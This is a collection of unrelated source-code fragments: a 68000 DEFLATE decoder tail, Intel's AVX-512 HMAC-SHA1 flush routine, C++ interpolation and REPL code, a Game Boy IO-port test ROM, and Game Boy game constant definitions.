; 257+: <length,distance> pair
lea o_length_extra-257*4(sp),a2
add.w d0,a2
move.w (a2)+,d1
bsr stream_next_bits
add.w (a2),d0
move.w d0,d3 ; d3 = cplen
lea o_dist_tree(sp),a0
bsr stream_next_symbol ; dist_sym
lea o_dist_extra(sp),a2
add.w d0,a2
move.w (a2)+,d1
bsr stream_next_bits
add.w (a2),d0 ; d0 = cpdst
move.l a4,a0
sub.w d0,a0 ; a0 = outp - cpdst
subq.w #1,d3
.9.3: move.b (a0)+,(a4)+
dbf d3,.9.3
bra decode_loop
; Build a base/extra-bits table on the stack
build_base_extrabits:
move.l (a7)+,a0
.a.1:
move.w d0,d3
lsr.w d4,d3
subq.w #1,d3
bpl.s .a.2
moveq #0,d3
.a.2: moveq #0,d1
bset d3,d1
sub.w d1,d2
move.w d2,-(sp)
move.w d3,-(sp)
dbf d0,.a.1
jmp (a0)
dispatch: ; Decoder dispatch table.
dc.b uncompressed_block-uncompressed_block
dc.b static_huffman-uncompressed_block
dc.b dynamic_huffman-uncompressed_block
codelen_order: ; Order of code lengths for the code length alphabet.
dc.b 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15
; a4 = output, a5 = input, all regs preserved
; a6 = *end* of storage area (only if OPT_STORAGE_OFFSTACK)
unpack
inflate:
inflreg reg d0-d6/a0-a5
movem.l inflreg,-(sp)
; Build the <length> base/extra-bits table
move.l #258,d2
move.l d2,-(sp)
addq.w #1,d2
moveq #27,d0
moveq #2,d4
bsr build_base_extrabits
; Build the <distance> base/extra-bits table
move.w #32769,d2
moveq #29,d0
moveq #1,d4
bsr build_base_extrabits
; Initialise the stream
moveq #0,d5 ; d5 = stream: fetched data
moveq #0,d6 ; d6 = stream: nr fetched bits
.b.1: ; Process a block: Grab the BTYPE|BFINAL 3-bit code
moveq #3,d1
bsr stream_next_bits
move.l d0,-(sp)
; Dispatch to the correct decoder for this block
lsr.b #1,d0
move.b dispatch(pc,d0.w),d0
lea uncompressed_block(pc),a0
jsr (a0,d0.w)
; Keep going until we see BFINAL=1
move.l (sp)+,d0
lsr.b #1,d0
bcc .b.1
; Pop the base/extra-bits lookup tables
lea (30+29)*4(sp),sp
movem.l (sp)+,inflreg
rts
end
|
;;
;; Copyright (c) 2012-2022, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;; In System V AMD64 ABI
;; callee saves: RBX, RBP, R12-R15
;; Windows x64 ABI
;; callee saves: RBX, RBP, RDI, RSI, RSP, R12-R15
;;
;; Registers: RAX RBX RCX RDX RBP RSI RDI R8 R9 R10 R11 R12 R13 R14 R15
;; -----------------------------------------------------------
;; Windows clobbers: RAX RCX RDX R8 R9 R10 R11
;; Windows preserves: RBX RBP RSI RDI R12 R13 R14 R15
;; -----------------------------------------------------------
;; Linux clobbers: RAX RSI RDI R8 R9 R10 R11
;; Linux preserves: RBX RCX RDX RBP R12 R13 R14 R15
;; -----------------------------------------------------------
;; Clobbers ZMM0-31
%include "include/os.asm"
%include "include/imb_job.asm"
%include "include/mb_mgr_datastruct.asm"
%include "include/reg_sizes.asm"
;; %define DO_DBGPRINT
%include "include/dbgprint.asm"
extern sha1_x16_avx512
mksection .rodata
default rel
align 16
byteswap:
dq 0x0405060700010203
dq 0x0c0d0e0f08090a0b
align 32
len_masks:
dq 0x000000000000FFFF, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000
dq 0x00000000FFFF0000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000
dq 0x0000FFFF00000000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000
dq 0xFFFF000000000000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x000000000000FFFF, 0x0000000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x00000000FFFF0000, 0x0000000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x0000FFFF00000000, 0x0000000000000000, 0x0000000000000000
dq 0x0000000000000000, 0xFFFF000000000000, 0x0000000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x0000000000000000, 0x000000000000FFFF, 0x0000000000000000
dq 0x0000000000000000, 0x0000000000000000, 0x00000000FFFF0000, 0x0000000000000000
dq 0x0000000000000000, 0x0000000000000000, 0x0000FFFF00000000, 0x0000000000000000
dq 0x0000000000000000, 0x0000000000000000, 0xFFFF000000000000, 0x0000000000000000
dq 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x000000000000FFFF
dq 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x00000000FFFF0000
dq 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x0000FFFF00000000
dq 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0xFFFF000000000000
lane_1: dq 1
lane_2: dq 2
lane_3: dq 3
lane_4: dq 4
lane_5: dq 5
lane_6: dq 6
lane_7: dq 7
lane_8: dq 8
lane_9: dq 9
lane_10: dq 10
lane_11: dq 11
lane_12: dq 12
lane_13: dq 13
lane_14: dq 14
lane_15: dq 15
mksection .text
%if 1
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%else
%define arg1 rcx
%define arg2 rdx
%endif
%define state arg1
%define job arg2
%define len2 arg2
; idx needs to be in rbx, rdi, rbp
%define idx rbp
%define unused_lanes r9
%define lane_data r9
%define tmp2 r9
%define num_lanes_inuse r12
%define len_upper r13
%define idx_upper r14
%define job_rax rax
%define tmp1 rax
%define size_offset rax
%define tmp rax
%define start_offset rax
%define tmp3 arg1
%define extra_blocks arg2
%define p arg2
%define tmp4 r8
%endif
; we clobber rbp, called routine clobbers r12-r15
struc STACK
_gpr_save: resq 5
_rsp_save: resq 1
endstruc
%define APPEND(a,b) a %+ b
; JOB* flush_job_hmac_avx(MB_MGR_HMAC_SHA_1_OOO *state)
; arg 1 : rcx : state
MKGLOBAL(flush_job_hmac_avx512,function,internal)
flush_job_hmac_avx512:
mov rax, rsp
sub rsp, STACK_size
and rsp, -32 ; align stack to 32 byte boundary
mov [rsp + _gpr_save + 8*0], rbp
mov [rsp + _gpr_save + 8*1], r12
mov [rsp + _gpr_save + 8*2], r13
mov [rsp + _gpr_save + 8*3], r14
mov [rsp + _gpr_save + 8*4], r15
mov [rsp + _rsp_save], rax
DBGPRINTL "---------- start hmac flush avx512 -----------"
mov DWORD(num_lanes_inuse), [state + _num_lanes_inuse_sha1] ;empty?
cmp num_lanes_inuse, 0
jz return_null
; find a lane with a non-null job
xor idx, idx
%assign I 1
%rep 15
cmp qword [state + _ldata + (I * _HMAC_SHA1_LANE_DATA_size) + _job_in_lane], 0
cmovne idx, [rel APPEND(lane_,I)]
%assign I (I+1)
%endrep
copy_lane_data:
; copy valid lane (idx) to empty lanes
vmovdqa ymm0, [state + _lens]
mov tmp, [state + _args_data_ptr + PTR_SZ*idx]
%assign I 0
%rep 16
cmp qword [state + _ldata + I * _HMAC_SHA1_LANE_DATA_size + _job_in_lane], 0
jne APPEND(skip_,I)
mov [state + _args_data_ptr + PTR_SZ*I], tmp
vpor ymm0, ymm0, [rel len_masks + 32*I] ; 32 for ymm, 16 for xmm
APPEND(skip_,I):
%assign I (I+1)
%endrep
vmovdqa [state + _lens], ymm0
vphminposuw xmm1, xmm0
vpextrw DWORD(len2), xmm1, 0 ; min value
vpextrw DWORD(idx), xmm1, 1 ; min index (0...7)
vmovdqa xmm2, [state + _lens + 8*2]
vphminposuw xmm3, xmm2
vpextrw DWORD(len_upper), xmm3, 0 ; min value
vpextrw DWORD(idx_upper), xmm3, 1 ; min index (8...F)
cmp len2, len_upper
jle use_min
vmovdqa xmm1, xmm3
mov len2, len_upper
mov idx, idx_upper ; idx would be in range 0..7
add idx, 8 ; to reflect that index is in 8..F range
use_min:
DBGPRINTL64 "FLUSH min_length", len2
DBGPRINTL64 "FLUSH min_length index ", idx
cmp len2, 0
je len_is_0
vpbroadcastw xmm1, xmm1
DBGPRINTL_XMM "FLUSH lens after shuffle", xmm1
vpsubw xmm0, xmm0, xmm1
vmovdqa [state + _lens], xmm0
vpsubw xmm2, xmm2, xmm1
vmovdqa [state + _lens + 8*2], xmm2
DBGPRINTL_XMM "FLUSH lens immediately after min subtraction (0..7)", xmm0
DBGPRINTL_XMM "FLUSH lens immediately after min subtraction (8..F)", xmm2
; "state" and "args" are the same address, arg1
; len is arg2
call sha1_x16_avx512
; state and idx are intact
len_is_0:
; process completed job "idx"
imul lane_data, idx, _HMAC_SHA1_LANE_DATA_size
lea lane_data, [state + _ldata + lane_data]
mov DWORD(extra_blocks), [lane_data + _extra_blocks]
cmp extra_blocks, 0
jne proc_extra_blocks
cmp dword [lane_data + _outer_done], 0
jne end_loop
proc_outer:
mov dword [lane_data + _outer_done], 1
mov DWORD(size_offset), [lane_data + _size_offset]
mov qword [lane_data + _extra_block + size_offset], 0
mov word [state + _lens + 2*idx], 1
lea tmp, [lane_data + _outer_block]
mov job, [lane_data + _job_in_lane]
mov [state + _args_data_ptr + PTR_SZ*idx], tmp
vmovd xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE]
vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE], 1
vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE], 2
vpinsrd xmm0, xmm0, [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE], 3
vpshufb xmm0, xmm0, [rel byteswap]
mov DWORD(tmp), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE]
bswap DWORD(tmp)
vmovdqa [lane_data + _outer_block], xmm0
mov [lane_data + _outer_block + 4*4], DWORD(tmp)
mov tmp, [job + _auth_key_xor_opad]
vmovdqu xmm0, [tmp]
mov DWORD(tmp), [tmp + 4*4]
vmovd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE], xmm0
vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE], xmm0, 1
vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE], xmm0, 2
vpextrd [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE], xmm0, 3
mov [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE], DWORD(tmp)
jmp copy_lane_data
align 16
proc_extra_blocks:
mov DWORD(start_offset), [lane_data + _start_offset]
mov [state + _lens + 2*idx], WORD(extra_blocks)
lea tmp, [lane_data + _extra_block + start_offset]
mov [state + _args_data_ptr + PTR_SZ*idx], tmp
mov dword [lane_data + _extra_blocks], 0
jmp copy_lane_data
return_null:
DBGPRINTL "FLUSH *** ---------- return null"
xor job_rax, job_rax
jmp return
align 16
end_loop:
mov job_rax, [lane_data + _job_in_lane]
mov qword [lane_data + _job_in_lane], 0
or dword [job_rax + _status], IMB_STATUS_COMPLETED_AUTH
mov unused_lanes, [state + _unused_lanes]
shl unused_lanes, 4 ;; a nibble
or unused_lanes, idx
mov [state + _unused_lanes], unused_lanes
sub dword [state + _num_lanes_inuse_sha1], 1
mov p, [job_rax + _auth_tag_output]
; copy 12 bytes
mov DWORD(tmp2), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 0*SHA1_DIGEST_ROW_SIZE]
mov DWORD(tmp4), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 1*SHA1_DIGEST_ROW_SIZE]
mov DWORD(r12), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 2*SHA1_DIGEST_ROW_SIZE]
bswap DWORD(tmp2)
bswap DWORD(tmp4)
bswap DWORD(r12)
mov [p + 0*4], DWORD(tmp2)
mov [p + 1*4], DWORD(tmp4)
mov [p + 2*4], DWORD(r12)
cmp qword [job_rax + _auth_tag_output_len_in_bytes], 12
je clear_ret
;; copy remaining 8 bytes to return 20 byte digest
mov DWORD(r13), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 3*SHA1_DIGEST_ROW_SIZE]
mov DWORD(r14), [state + _args_digest + SHA1_DIGEST_WORD_SIZE*idx + 4*SHA1_DIGEST_ROW_SIZE]
bswap DWORD(r13)
bswap DWORD(r14)
mov [p + 3*SHA1_DIGEST_WORD_SIZE], DWORD(r13)
mov [p + 4*SHA1_DIGEST_WORD_SIZE], DWORD(r14)
clear_ret:
%ifdef SAFE_DATA
vpxorq zmm0, zmm0
;; Clear digest (20B), outer_block (20B) and extra_block (64B)
;; of returned job and NULL jobs
%assign I 0
%rep 16
cmp qword [state + _ldata + (I*_HMAC_SHA1_LANE_DATA_size) + _job_in_lane], 0
jne APPEND(skip_clear_,I)
;; Clear digest
mov dword [state + _args_digest + SHA1_DIGEST_WORD_SIZE*I + 0*SHA1_DIGEST_ROW_SIZE], 0
mov dword [state + _args_digest + SHA1_DIGEST_WORD_SIZE*I + 1*SHA1_DIGEST_ROW_SIZE], 0
mov dword [state + _args_digest + SHA1_DIGEST_WORD_SIZE*I + 2*SHA1_DIGEST_ROW_SIZE], 0
mov dword [state + _args_digest + SHA1_DIGEST_WORD_SIZE*I + 3*SHA1_DIGEST_ROW_SIZE], 0
mov dword [state + _args_digest + SHA1_DIGEST_WORD_SIZE*I + 4*SHA1_DIGEST_ROW_SIZE], 0
lea lane_data, [state + _ldata + (I*_HMAC_SHA1_LANE_DATA_size)]
;; Clear first 64 bytes of extra_block
vmovdqu64 [lane_data + _extra_block], zmm0
;; Clear first 20 bytes of outer_block
vmovdqu64 [lane_data + _outer_block], xmm0
mov dword [lane_data + _outer_block + 16], 0
APPEND(skip_clear_,I):
%assign I (I+1)
%endrep
%endif ;; SAFE_DATA
return:
DBGPRINTL "---------- exit hmac flush avx512 -----------"
vzeroupper
mov rbp, [rsp + _gpr_save + 8*0]
mov r12, [rsp + _gpr_save + 8*1]
mov r13, [rsp + _gpr_save + 8*2]
mov r14, [rsp + _gpr_save + 8*3]
mov r15, [rsp + _gpr_save + 8*4]
mov rsp, [rsp + _rsp_save]
ret
mksection stack-noexec
|
// Distributed under the MIT License.
// See LICENSE.txt for details.
#pragma once
#include "DataStructures/DataBox/DataBox.hpp"
#include "DataStructures/DataBox/DataBoxTag.hpp"
#include "DataStructures/IdPair.hpp"
#include "Domain/BlockLogicalCoordinates.hpp"
#include "NumericalAlgorithms/Interpolation/PointInfoTag.hpp"
#include "Utilities/Gsl.hpp"
#include "Utilities/Requires.hpp"
namespace Parallel {
template <typename Metavariables>
class ConstGlobalCache;
} // namespace Parallel
namespace intrp {
namespace Actions {
/// \ingroup ActionsGroup
/// \brief Receives interpolation points from an InterpolationTarget.
///
/// Uses: nothing
///
/// DataBox changes:
/// - Adds: nothing
/// - Removes: nothing
/// - Modifies:
/// - `intrp::Tags::InterpPointInfo<Metavariables>`
template <typename InterpolationTargetTag>
struct ElementReceiveInterpPoints {
template <typename ParallelComponent, typename DbTags, typename Metavariables,
typename ArrayIndex,
Requires<tmpl::list_contains_v<
DbTags, intrp::Tags::InterpPointInfo<Metavariables>>> = nullptr>
static void apply(
db::DataBox<DbTags>& box,
Parallel::ConstGlobalCache<Metavariables>& /*cache*/,
const ArrayIndex& /*array_index*/,
std::vector<boost::optional<
IdPair<domain::BlockId, tnsr::I<double, Metavariables::volume_dim,
typename ::Frame::Logical>>>>&&
block_logical_coords) noexcept {
db::mutate<intrp::Tags::InterpPointInfo<Metavariables>>(
make_not_null(&box),
[&block_logical_coords](
const gsl::not_null<
db::item_type<intrp::Tags::InterpPointInfo<Metavariables>>*>
point_infos) noexcept {
get<intrp::Vars::PointInfoTag<InterpolationTargetTag,
Metavariables::volume_dim>>(
*point_infos) = std::move(block_logical_coords);
});
}
};
} // namespace Actions
} // namespace intrp
|
//// Copyright (c) 2018 Silvio Mayolo
//// See LICENSE.txt for licensing details
#include "GC.hpp"
#include "REPL.hpp"
#include "Symbol.hpp"
#include "Garnish.hpp"
#include "Standard.hpp"
#include "Reader.hpp"
#include "Pathname.hpp"
#include "Precedence.hpp"
#include <string>
using namespace std;
void runREPL(ObjectPtr global, VMState& vm) {
OperatorTable table = getTable(global);
string pathname = stripFilename(getExecutablePathname());
readFile(pathname + "std/repl.lats", { clone(global), clone(global) }, vm, table);
while (!isIdling(vm.state))
doOneStep(vm);
}
void runRunner(ObjectPtr global, VMState& vm) {
OperatorTable table = getTable(global);
string pathname = stripFilename(getExecutablePathname());
readFile(pathname + "std/runner.lats", { clone(global), clone(global) }, vm, table);
while (!isIdling(vm.state))
doOneStep(vm);
}
void runCompiler(ObjectPtr global, VMState& vm) {
OperatorTable table = getTable(global);
string pathname = stripFilename(getExecutablePathname());
readFile(pathname + "std/compiler.lats", { clone(global), clone(global) }, vm, table);
while (!isIdling(vm.state))
doOneStep(vm);
}
|
frame 1, 09
frame 2, 12
frame 3, 09
frame 4, 09
endanim
|
.size 8000
.text@100
jp lbegin
.data@143
80 00 00 00 03 00 01
.text@150
lbegin:
ldff a, (44)
cmp a, 91
jrnz lbegin
ldff a, (40)
xor a, 80
ldff(40), a
ld a, 0a
ld(0000), a
ld hl, a000
ld de, ff00
ld b, 46
xor a, a
lclear_FF00toFF45:
ld(de), a
inc e
dec b
jrnz lclear_FF00toFF45
inc e
ld b, 0e
lclear_FF47toFF54:
ld(de), a
inc e
dec b
jrnz lclear_FF47toFF54
inc e
ld b, 2a
lclear_FF56toFF7F:
ld(de), a
inc e
dec b
jrnz lclear_FF56toFF7F
call ldump_ioports
xor a, a
ld(0000), a
ldff a, (40)
xor a, 80
ldff(40), a
jp lprint_a
.text@1800
ldump_ioports:
ld de, ff00
ld b, 80
ldump_ioports_loop:
ld a, (de)
inc e
ld(hl++), a
dec b
jrnz ldump_ioports_loop
ret
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
ld bc, 7a00
ld hl, 8000
ld d, 00
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
pop af
ld b, a
srl a
srl a
srl a
srl a
ld(9800), a
ld a, b
and a, 0f
ld(9801), a
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
00 00 08 08 22 22 41 41
7f 7f 41 41 41 41 41 41
00 00 7e 7e 41 41 41 41
7e 7e 41 41 41 41 7e 7e
00 00 3e 3e 41 41 40 40
40 40 40 40 41 41 3e 3e
00 00 7e 7e 41 41 41 41
41 41 41 41 41 41 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 40 40 40 40
7f 7f 40 40 40 40 40 40
|
; ANIMATED_TILE [Enumerated] [Hex]
ANIMATED_TILE_NONE EQU $00
ANIMATED_TILE_COUNTER EQU $01
ANIMATED_TILE_TIDE EQU $02
ANIMATED_TILE_VILLAGE EQU $03
ANIMATED_TILE_DUNGEON_1 EQU $04
ANIMATED_TILE_UNDERGROUND EQU $05
ANIMATED_TILE_LAVA EQU $06
ANIMATED_TILE_DUNGEON_2 EQU $07
ANIMATED_TILE_WARP_TILE EQU $08
ANIMATED_TILE_CURRENTS EQU $09
ANIMATED_TILE_WATERFALL EQU $0A
ANIMATED_TILE_WATERFALL_SLOW EQU $0B
ANIMATED_TILE_WATER_DUNGEON EQU $0C
ANIMATED_TILE_LIGHT_BEAM EQU $0D
ANIMATED_TILE_CRYSTAL_BLOCK EQU $0E
ANIMATED_TILE_BUBBLES EQU $0F
ANIMATED_TILE_WEATHER_VANE EQU $10
ANIMATED_TILE_PHOTO EQU $11
; BUTTON [Bitmask] [Binary]
J_RIGHT EQU %00000001
J_LEFT EQU %00000010
J_UP EQU %00000100
J_DOWN EQU %00001000
J_A EQU %00010000
J_B EQU %00100000
J_SELECT EQU %01000000
J_START EQU %10000000
; DIRECTION [Enumerated] [Hex]
DIRECTION_RIGHT EQU $00
DIRECTION_LEFT EQU $01
DIRECTION_UP EQU $02
DIRECTION_DOWN EQU $03
DIRECTION_KEEP EQU $0F
; GAMEMODE [Enumerated] [Hex]
GAMEMODE_INTRO EQU $00
GAMEMODE_CREDITS EQU $01
GAMEMODE_FILE_SELECT EQU $02
GAMEMODE_FILE_NEW EQU $03
GAMEMODE_FILE_DELETE EQU $04
GAMEMODE_FILE_COPY EQU $05
GAMEMODE_FILE_SAVE EQU $06
GAMEMODE_WORLD_MAP EQU $07
GAMEMODE_PEACH_PIC EQU $08
GAMEMODE_MARIN_BEACH EQU $09
GAMEMODE_WF_MURAL EQU $0A
GAMEMODE_WORLD EQU $0B
GAMEMODE_INVENTORY EQU $0C
GAMEMODE_PHOTO_ALBUM EQU $0D
GAMEMODE_PHOTO_DIZZY_LINK EQU $0E
GAMEMODE_PHOTO_NICE_LINK EQU $0F
GAMEMODE_PHOTO_MARIN_CLIFF EQU $10
GAMEMODE_PHOTO_MARIN_WELL EQU $11
GAMEMODE_PHOTO_MABE EQU $12
GAMEMODE_PHOTO_ULRIRA EQU $13
GAMEMODE_PHOTO_BOW_WOW EQU $14
GAMEMODE_PHOTO_THIEF EQU $15
GAMEMODE_PHOTO_FISHERMAN EQU $16
GAMEMODE_PHOTO_ZORA EQU $17
GAMEMODE_PHOTO_KANALET EQU $18
GAMEMODE_PHOTO_GHOST EQU $19
GAMEMODE_PHOTO_BRIDGE EQU $1A
; HW_AUDIO_ENABLE [Bitmask] [Binary]
HW_AUDIO_ENABLE EQU %10000000
; HW_CARTRIDGETYPE [Enumerated] [Hex]
cartridge_mbc1_ram_battery EQU $03
; HW_COLORGAMEBOY [Enumerated] [Hex]
not_color_gameboy EQU $00
is_color_gameboy EQU $80
; HW_DESTINATIONCODE [Enumerated] [Hex]
destination_japanese EQU $00
destination_nonjapanese EQU $01
; HW_IE [Bitmask] [Binary]
IE_VBLANK EQU %00000001
IE_LCDC EQU %00000010
IE_TIMEROVERFLOW EQU %00000100
IE_SERIALIO EQU %00001000
IE_PIN1013TRANSITION EQU %00010000
; HW_RAMSIZE [Enumerated] [Hex]
ramsize_none EQU $00
ramsize_1bank EQU $01
ramsize_1bank_ EQU $02
ramsize_4banks EQU $03
ramsize_16banks EQU $04
; HW_ROMSIZE [Enumerated] [Hex]
romsize_2banks EQU $00
romsize_4banks EQU $01
romsize_8banks EQU $02
romsize_16banks EQU $03
romsize_32banks EQU $04
romsize_64banks EQU $05
romsize_128banks EQU $06
romsize_72banks EQU $52
romsize_80banks EQU $53
romsize_96banks EQU $54
; HW_SUPERGAMEBOY [Enumerated] [Hex]
not_super_gameboy EQU $00
is_super_gameboy EQU $80
; INTERACTIVE_MOTION [Enumerated] [Hex]
INTERACTIVE_MOTION_ENABLED EQU $00
INTERACTIVE_MOTION_LOCKED_GRAB_SLASH EQU $01
INTERACTIVE_MOTION_LOCKED_TALKING EQU $02
; JOYPAD [Bitmask] [Binary]
JOYPAD_DIRECTIONS EQU %00010000
JOYPAD_BUTTONS EQU %00100000
; LCDCF [Bitmask] [Binary]
LCDCF_OFF EQU %00000000
LCDCF_ON EQU %10000000
LCDCF_TILEMAP_9C00 EQU %01000000
LCDCF_WINDOW_ON EQU %00100000
LCDCF_BG_CHAR_8000 EQU %00010000
LCDCF_BG_TILE_9C00 EQU %00001000
LCDCF_OBJ_16_16 EQU %00000100
LCDCF_OBJ_DISPLAY EQU %00000010
LCDCF_BG_DISPLAY EQU %00000001
; LINK_ANIMATION [Enumerated] [Hex]
LINK_ANIMATION_STATE_STANDING_DOWN EQU $00
LINK_ANIMATION_STATE_WALKING_DOWN EQU $01
LINK_ANIMATION_STATE_UNKNOWN_02 EQU $02
LINK_ANIMATION_STATE_UNKNOWN_03 EQU $03
LINK_ANIMATION_STATE_STANDING_UP EQU $04
LINK_ANIMATION_STATE_WALKING_UP EQU $05
LINK_ANIMATION_STATE_STANDING_LEFT EQU $06
LINK_ANIMATION_STATE_WALKING_LEFT EQU $07
LINK_ANIMATION_STATE_UNKNOWN_08 EQU $08
LINK_ANIMATION_STATE_UNKNOWN_09 EQU $09
LINK_ANIMATION_STATE_STANDING_RIGHT EQU $0A
LINK_ANIMATION_STATE_WALKING_RIGHT EQU $0B
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_DOWN EQU $0E
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_UP EQU $0F
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_LEFT EQU $10
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_RIGHT EQU $11
LINK_ANIMATION_STATE_UNKNOWN_12 EQU $12
LINK_ANIMATION_STATE_UNKNOWN_13 EQU $13
LINK_ANIMATION_STATE_UNKNOWN_14 EQU $14
LINK_ANIMATION_STATE_UNKNOWN_15 EQU $15
LINK_ANIMATION_STATE_UNKNOWN_16 EQU $16
LINK_ANIMATION_STATE_UNKNOWN_17 EQU $17
LINK_ANIMATION_STATE_UNKNOWN_18 EQU $18
LINK_ANIMATION_STATE_UNKNOWN_19 EQU $19
LINK_ANIMATION_STATE_STANDING_PUSHING_DOWN EQU $1A
LINK_ANIMATION_STATE_WALKING_PUSHING_DOWN EQU $1B
LINK_ANIMATION_STATE_STANDING_PUSHING_UP EQU $1C
LINK_ANIMATION_STATE_WALKING_PUSHING_UP EQU $1D
LINK_ANIMATION_STATE_STANDING_PUSHING_LEFT EQU $1E
LINK_ANIMATION_STATE_WALKING_PUSHING_LEFT EQU $1F
LINK_ANIMATION_STATE_STANDING_PUSHING_RIGHT EQU $20
LINK_ANIMATION_STATE_WALKING_PUSHING_RIGHT EQU $21
LINK_ANIMATION_STATE_STANDING_SHIELD_DOWN EQU $22
LINK_ANIMATION_STATE_WALKING_SHIELD_DOWN EQU $23
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_DOWN EQU $24
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_DOWN EQU $25
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_USE_DOWN EQU $26
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_USE_DOWN EQU $27
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_LEFT EQU $28
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_LEFT EQU $29
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_RIGHT EQU $2A
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_RIGHT EQU $2B
LINK_ANIMATION_STATE_STANDING_SHIELD_RIGHT EQU $2C
LINK_ANIMATION_STATE_WALKING_SHIELD_RIGHT EQU $2D
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_RIGHT EQU $2E
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_RIGHT EQU $2F
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_UP EQU $30
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_UP EQU $31
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_USE_UP EQU $32
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_USE_UP EQU $33
